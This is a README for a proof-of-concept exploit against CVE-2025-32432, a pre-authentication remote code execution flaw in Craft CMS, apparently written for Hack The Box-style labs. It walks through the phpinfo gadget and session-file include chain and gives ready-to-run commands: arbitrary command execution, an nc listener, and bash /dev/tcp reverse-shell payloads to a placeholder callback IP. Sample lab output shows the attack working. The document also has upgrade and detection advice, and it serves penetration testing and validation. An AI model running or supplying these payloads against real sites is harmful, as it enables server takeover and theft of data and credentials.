Craft CMS CVE-2025-32432 Single-Target PoC

Authorized testing only. This repository is intended for controlled lab environments, CTF platforms such as Hack The Box, internal validation, and defensive verification. Do not run this against systems you do not own or have explicit permission to test.

Overview

This project contains a single-target proof of concept for CVE-2025-32432, a pre-authentication Craft CMS remote code execution issue.

The PoC performs two stages:

1. Vulnerability confirmation using a phpinfo() gadget through Craft CMS's asset transform generation endpoint.
2. Optional command execution using a two-step session-file include chain.

The script is designed to avoid a common false-negative issue seen in some public PoCs: a normal image transform request can return 404, while the same endpoint and assetId still work when the actual gadget payload is used.

Affected Versions

According to the official Craft CMS advisory and public advisory databases, the affected ranges are:

Upgrade to a fixed release immediately if you are responsible for a Craft CMS deployment.

Technical Summary

The PoC follows this flow:

Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

Important implementation details:

• Discovery uses the phpinfo gadget, not a normal transform request.
• Commands are passed as hex to avoid breaking the query string with spaces, quotes, pipes, or ampersands.
• The default PHP session directories tested are:
  • /var/lib/php/sessions
  • /var/lib/php/session
  • /tmp
• A --timeout option is included for reverse-shell scenarios.

Files

craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

Requirements

• Python 3.9+
• requests
• urllib3

Install dependencies:

python3 -m pip install requests urllib3

Usage

1. Check-only mode

This confirms vulnerability using the phpinfo gadget only.

python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

Expected successful output:

[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

The phpinfo response is saved as:

phpinfo_success.html

2. Execute a simple command

python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

Example successful output:

[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Use a known endpoint and asset ID

Use this when you already know the working values.

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. Custom front controller

Some targets may use a custom front controller such as x.php.

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

This tests routes such as:

http://target.local/x.php?p=admin/actions/assets/generate-transform

5. Reverse shell usage

Start a listener first:

rlwrap -cAr nc -lvnp 12345

Then run the PoC with a reverse-shell command:

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 disables the request timeout. This is useful because reverse shells often keep the HTTP request open.

Detached variant:

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

Options

Troubleshooting

assetId 0 -> HTTP 404 during normal scan

Do not rely on a normal transform request for discovery. Some targets return 404 for a normal transform body but still execute the gadget payload.

This PoC discovers valid combinations using the phpinfo gadget itself.

phpinfo works, but command execution fails

Try specifying the session directory manually:

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

Then try:

--session-dir /var/lib/php/session

or:

--session-dir /tmp

Reverse shell connects, then dies quickly

Use one of these approaches:

1. Disable request timeout:

--timeout 0

2. Use a detached payload with setsid or nohup.

3. Confirm your callback IP is correct:

ip -br a | grep tun

Read timeout during reverse shell

This can be normal if the reverse shell connected successfully. Check your listener before treating the timeout as a failure.

Command output is missing

Try a simpler command first:

-c "id"
-c "whoami"
-c "pwd"

If simple commands work but complex commands fail, quote the command carefully or use a detached shell payload.

Example Lab Output

[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Defensive Guidance

If you administer a Craft CMS instance:

1. Upgrade to Craft CMS 3.9.15, 4.14.15, 5.6.17, or later.
2. Review web roots for suspicious PHP files or web shells.
3. Review PHP session directories and web server logs for suspicious requests to asset transform routes.
4. Rotate secrets from .env and database credentials if exploitation is suspected.
5. Restrict public access to administrative routes where possible.
6. Review server filesystem timestamps around suspected compromise windows.

References

• Craft CMS official advisory: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
• GitHub Advisory Database: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
• NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
• SensePost technical analysis: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

Disclaimer

This project is provided for educational, research, lab, and defensive validation purposes only. The author is not responsible for misuse. Only test systems you own or have explicit written permission to assess.